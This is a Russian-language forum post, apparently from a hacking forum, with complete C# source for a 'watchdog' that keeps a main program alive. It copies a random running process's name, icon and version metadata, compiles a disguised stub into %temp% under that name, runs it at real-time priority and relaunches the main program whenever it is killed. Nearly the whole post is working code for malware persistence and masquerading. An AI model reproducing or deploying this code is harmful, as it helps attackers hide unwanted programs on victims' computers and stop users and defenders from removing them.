L
LightMan
Original poster
Watchdog это отдельный процесс который будет следить за основным, и при завершении основного он его перезапустит.
Алгоритм работы:
- Находим рандомный процесс.
- Полностью копируем его информацию (имя, иконка, описание).
- Используя CodeDom.Compiler собираем стаб вачдога из ресурсов и заменяем там нужные нам значения.
- Копируем скомпиленый вачдог в папку %temp% и запускаем его оттуда.
- При завершении основного процесса вачдог его перезапустит.
Файл /Watchdog/Utils/ProcessUtils.cs
Там находяться функции для работы с процессами (Извлечь иконку, найти путь к .ехе)
C#:
using System.IO;
using System.Drawing;
using System.Management;
using System.Diagnostics;
using System.Collections.Generic;
namespace Application.Watcher
{
internal sealed class ProcessUtils
{
public static readonly Process CurrentProcess = Process.GetCurrentProcess();
private static string FindIndexedProcessName(int pid)
{
var processName = Process.GetProcessById(pid).ProcessName;
var processesByName = Process.GetProcessesByName(processName);
string processIndexdName = null;
for (var index = 0; index < processesByName.Length; index++)
{
processIndexdName = index == 0 ? processName : processName + "#" + index;
var processId = new PerformanceCounter("Process", "ID Process", processIndexdName);
if ((int)processId.NextValue() == pid)
{
return processIndexdName;
}
}
return processIndexdName;
}
private static Process FindPidFromIndexedProcessName(string indexedProcessName)
{
var parentId = new PerformanceCounter("Process", "Creating Process ID", indexedProcessName);
return Process.GetProcessById((int)parentId.NextValue());
}
/// <summary>
/// Find parent process
/// </summary>
/// <param name="process">Process object</param>
/// <returns>Process object</returns>
public static Process GetParent(Process process)
{
return FindPidFromIndexedProcessName(FindIndexedProcessName(process.Id));
}
/// <summary>
/// Find process to copy
/// </summary>
public static Process GrabRandomProcess()
{
List<Process> possible = new List<Process>();
foreach (Process process in Process.GetProcesses(System.Environment.MachineName))
{
try {
if (CurrentProcess.Id != process.Id
&& !string.IsNullOrEmpty(process.MainModule.FileVersionInfo.CompanyName)
&& !string.IsNullOrEmpty(ProcessUtils.ProcessExecutablePath(process))
) possible.Add(process);
} catch (System.ComponentModel.Win32Exception) { continue; }
}
// If process count is 0
if (possible.Count == 0)
return null;
// Return random process
return possible[new System.Random().Next(0, possible.Count)];
}
/// <summary>
/// Get process icon
/// </summary>
/// <param name="process">Process object</param>
/// <returns>Bitmap</returns>
public static string GrabIcon(Process process)
{
string ico = Path.Combine(Path.GetTempPath(), process.ProcessName + ".ico");
string exe = ProcessExecutablePath(process);
using (Stream stream = File.OpenWrite(ico))
{
Icon.ExtractAssociatedIcon(exe)
.Save(stream);
}
return ico;
}
/// <summary>
/// Get process executable location on disk
/// </summary>
/// <param name="process">Process object</param>
/// <returns>executable path</returns>
public static string ProcessExecutablePath(Process process)
{
try {
return process.MainModule.FileName;
} catch {
string query = "SELECT ExecutablePath, ProcessID FROM Win32_Process";
ManagementObjectSearcher searcher = new ManagementObjectSearcher(query);
foreach (ManagementObject item in searcher.Get())
{
object id = item["ProcessID"];
object path = item["ExecutablePath"];
if (path != null && id.ToString() == process.Id.ToString())
{
return path.ToString();
}
}
}
return "";
}
}
}
Файл /Watchdog/Utils/Compiler.cs
Он будет компилить наш вачдог с нашими параметрами
C#:
using System;
using System.IO;
using System.Diagnostics;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using Microsoft.CSharp;
namespace Application.Watcher
{
internal sealed class Compiler
{
/// <summary>
/// Compile watchdog and return location
/// </summary>
/// <param name="random_process">Process to steal icon, name</param>
/// <returns>Executable location</returns>
public static string CompileWatcher(in Process random_process)
{
Process protect_process = Process.GetCurrentProcess();
string iconLocation = ProcessUtils.GrabIcon(random_process);
string watcherLocation = Path.Combine(Path.GetTempPath(), random_process.ProcessName + ".exe");
// Replace values
string source = Properties.Resources.Observer
.Replace("%WatchDogModule%", random_process.ProcessName)
.Replace("%ExecutablePath%", ProcessUtils.ProcessExecutablePath(protect_process))
.Replace("%Arguments%", Watchdog.commandLineArgs.Replace("--restarted", ""))
.Replace("%ProcessID%", protect_process.Id.ToString())
.Replace("%Sleep%", new Random().Next(200, 450).ToString())
.Replace("%AssemblyDescription%", random_process.MainModule.FileVersionInfo.FileDescription)
.Replace("%AssemblyFileVersion%", random_process.MainModule.FileVersionInfo.FileVersion)
.Replace("%AssemblyCompany%", random_process.MainModule.FileVersionInfo.CompanyName)
.Replace("%AssemblyCopyright%", random_process.MainModule.FileVersionInfo.LegalCopyright)
.Replace("%AssemblyTrademark%", random_process.MainModule.FileVersionInfo.LegalTrademarks)
.Replace("%Guid%", Guid.NewGuid().ToString());
// Set options
string[] referencedAssemblies = new string[] { "System.dll" };
var providerOptions = new Dictionary<string, string>() { {"CompilerVersion", "v4.0" } };
var compilerOptions = $"/target:winexe /platform:anycpu /optimize+";
// Set icon
if (File.Exists(iconLocation))
compilerOptions += $" /win32icon:\"{iconLocation}\"";
// Compile
using (var cSharpCodeProvider = new CSharpCodeProvider(providerOptions))
{
var compilerParameters = new CompilerParameters(referencedAssemblies)
{
GenerateExecutable = true,
OutputAssembly = watcherLocation,
CompilerOptions = compilerOptions,
TreatWarningsAsErrors = false,
IncludeDebugInformation = false,
};
var compilerResults = cSharpCodeProvider.CompileAssemblyFromSource(compilerParameters, source);
// Show errors if exists
if (compilerResults.Errors.Count > 0)
foreach (var error in compilerResults.Errors)
Console.WriteLine(error);
}
// Clean, return
if (File.Exists(iconLocation)) File.Delete(iconLocation);
if (File.Exists(watcherLocation)) return watcherLocation;
return null;
}
}
}
Файл /Resources/Watchdog.txt
Находиться в ресурсах проекта и именно его будем компилить через файлик выше.
Он будет висеть в фоне и смотреть за основным процессом.
Значения в символах %% будут заменены при компиляции.
C#:
using System;
using System.IO;
using System.Threading;
using System.Reflection;
using System.Diagnostics;
[assembly: AssemblyDescription(@"%AssemblyDescription%")]
[assembly: AssemblyFileVersion(@"%AssemblyFileVersion%")]
[assembly: AssemblyCompany(@"%AssemblyCompany%")]
[assembly: AssemblyCopyright(@"%AssemblyCopyright%")]
[assembly: AssemblyTrademark("%AssemblyTrademark%")]
[assembly: AssemblyConfiguration("Release")]
[assembly: System.Runtime.InteropServices.Guid("%Guid%")]
namespace %WatchDogModule%
{
class Program
{
// Settings
static Process process;
static int pid = Int32.Parse(@"%ProcessID%");
static int wait = Int32.Parse(@"%Sleep%");
static string args = @"%Arguments%";
static string executable = @"%ExecutablePath%";
static void Main(string[] args)
{
// Try get process information
try {
process = Process.GetProcessById(pid);
} catch (ArgumentException) {
Environment.Exit(1);
}
// Wait for process exit
while (true)
{
process.Refresh();
if (process.HasExited)
process = Restart(executable);
Thread.Sleep(wait);
}
}
// Restart process if killed and return Process object
private static Process Restart(string executable)
{
// If failed to find main process
if (!File.Exists(executable))
Environment.Exit(1);
// Start process
using (var process = new Process())
{
// Start info
process.StartInfo = new ProcessStartInfo
{
FileName = executable,
Arguments = args + " --restarted",
WorkingDirectory = Path.GetDirectoryName(executable)
};
process.Start();
// Wait for process
while (string.IsNullOrEmpty(process.MainWindowTitle))
{
Thread.Sleep(100);
process.Refresh();
}
// Return process
return Process.GetProcessById(process.Id);
}
}
}
}
Файл /Watchdog/Watchdog.cs
Тут находяться функции запуска и остановки
C#:
using System;
using System.IO;
using System.Threading;
using System.Diagnostics;
namespace Application.Watcher
{
internal sealed class Watchdog : IDisposable
{
public Process WathdogProcess;
private static readonly string exe = ProcessUtils.CurrentProcess.ProcessName + ".exe";
public static readonly string commandLineArgs = string.Join(" ", Environment.GetCommandLineArgs())
.Replace(Path.GetFullPath(exe), "")
.Replace(exe, "");
public readonly bool IsRestarted = commandLineArgs.Contains("--restarted");
/// <summary>
/// Initialize
/// </summary>
public Watchdog()
{
if (this.IsRestarted == true) // Find current parent process (watchdog)
this.WathdogProcess = ProcessUtils.GetParent(ProcessUtils.CurrentProcess);
}
/// <summary>
/// Dispose
/// </summary>
public void Dispose()
{
this.StopWatcher();
GC.Collect();
}
/// <summary>
/// Start watchdog service
/// </summary>
/// <returns>Status</returns>
public bool StartWatcher()
{
// Grab random process
Process random_process = ProcessUtils.GrabRandomProcess();
if (random_process == null)
return false;
// Compile watchdog executable
string exe = Compiler.CompileWatcher(random_process);
if (string.IsNullOrEmpty(exe))
return false;
// Start watchdog in new thread
Thread t = new Thread(() =>
this.WathdogProcess = Process.Start(exe));
t.IsBackground = true;
t.Start();
// Wait for process start
while (this.WathdogProcess == null && t.IsAlive)
Thread.Sleep(100);
// Change process priority
this.WathdogProcess.PriorityClass = ProcessPriorityClass.RealTime;
return true;
}
/// <summary>
/// Stop watchdog service
/// </summary>
/// <returns>Status</returns>
public bool StopWatcher()
{
try
{
if (this.WathdogProcess.HasExited == false)
{
string exe = ProcessUtils.ProcessExecutablePath(this.WathdogProcess);
this.WathdogProcess.Kill(); // Kill watchdog process
// Delete watchdog executable
if (File.Exists(exe)) File.Delete(exe);
}
} catch (Exception) { return false; }
return true;
}
}
}
Program.cs
C#:
using System;
namespace Application
{
class Program
{
static void Main(string[] args)
{
using (var watcher = new Watcher.Watchdog())
{
// Значение watcher.IsRestarted будет равно
// true если основной процесс был убит
// но вачдог его перезапустил
// иначе равно false
if (!watcher.IsRestarted)
watcher.StartWatcher();
Console.WriteLine("Press ENTER to stop watchdog");
Console.ReadLine();
} // watcher.StopWatcher();
}
}
}